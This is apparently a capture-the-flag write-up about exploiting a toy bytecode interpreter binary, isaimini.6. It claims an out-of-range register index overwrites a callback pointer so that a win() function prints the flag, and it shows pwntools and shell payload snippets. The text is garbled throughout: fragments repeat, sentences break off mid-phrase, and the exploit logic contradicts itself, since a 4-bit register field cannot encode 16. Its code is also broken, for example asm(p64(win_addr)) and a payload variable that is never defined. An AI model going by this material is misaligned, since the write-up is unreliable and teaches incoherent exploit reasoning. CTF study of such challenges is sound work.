The goal is to craft an input that makes the interpreter print . The binary contains a hidden “secret” flag, but the only way to retrieve it is to cause the interpreter to call the function win() that prints the flag. 2. Files | File | Description | |------|-------------| | isaimini.6 | 64‑bit ELF executable (stripped, no debug symbols). | | input.txt | Empty starter file – you may ignore it and pipe your own payload to the binary. |
The program reads a user‑supplied string (up to 256 bytes) from , parses it as a sequence of ISA‑mini instructions, executes them, and finally prints either Success! or Failure! .
*(uint64_t*)regs[dst] = regs[src]; regs[dst] is taken directly from a user‑controlled register index. The interpreter that dst is within 0‑15 . If we use a register index of 0x10 (16) , regs[16] points past the allocated register array, landing in the .bss area where the global variable callback lives: isaimini.6
# Send the payload via stdin printf "$payload" | ./isaimini.6 :
# Send payload p = process(binary) p.send(payload) print(p.recvall().decode()) Running this script prints the flag (or “Success!”). | Technique | Why it mattered | |-----------|-----------------| | Static analysis of a stripped binary | Ghidra’s decompiler can The goal is to craft an input that
# Build the payload win_addr = elf.symbols['win'] # 0x401b10 payload = b"" payload += asm(p64(win_addr)) # MOV r1, win (will be replaced below)
uint64_t regs[16]; // r0 … r15 uint64_t pc; // program counter (index into insts[]) All registers are initialised to 0 . The register file is stored in the .bss section at a fixed address (e.g., 0x00602000 ). | Opcode (hex) | Mnemonic | Operands | Description | |--------------|----------|----------|-------------| | 0x01 | MOV Rdst, imm | dst (4 bits) , imm (8 bytes) | regs[dst] = imm | | 0x02 | ADD Rdst, Rsrc | dst (4) , src (4) | regs[dst] += regs[src] | | 0x03 | SUB Rdst, Rsrc | same as ADD | subtraction | | 0x04 | LD Rdst, [Rsrc] | dst (4) , src (4) | regs[dst] = *(uint64_t*)regs[src] | | 0x05 | ST [Rdst], Rsrc | dst (4) , src (4) | *(uint64_t*)regs[dst] = regs[src] | | 0x06 | JMP imm | imm (8 bytes) | pc = imm | | 0x07 | JEQ Rsrc, Rdst, imm | src (4) , dst (4) , imm (8) | if(regs[src]==regs[dst]) pc = imm | | 0x08 | NOP | – | no‑op | | 0x09 | HLT | – | terminate execution (calls puts("Success!") if regs[0]==0xdeadbeef ) | Files | File | Description | |------|-------------| |
void win(void) puts("Success!"); // In the real challenge this prints the flag, e.g. // system("/bin/cat flag.txt");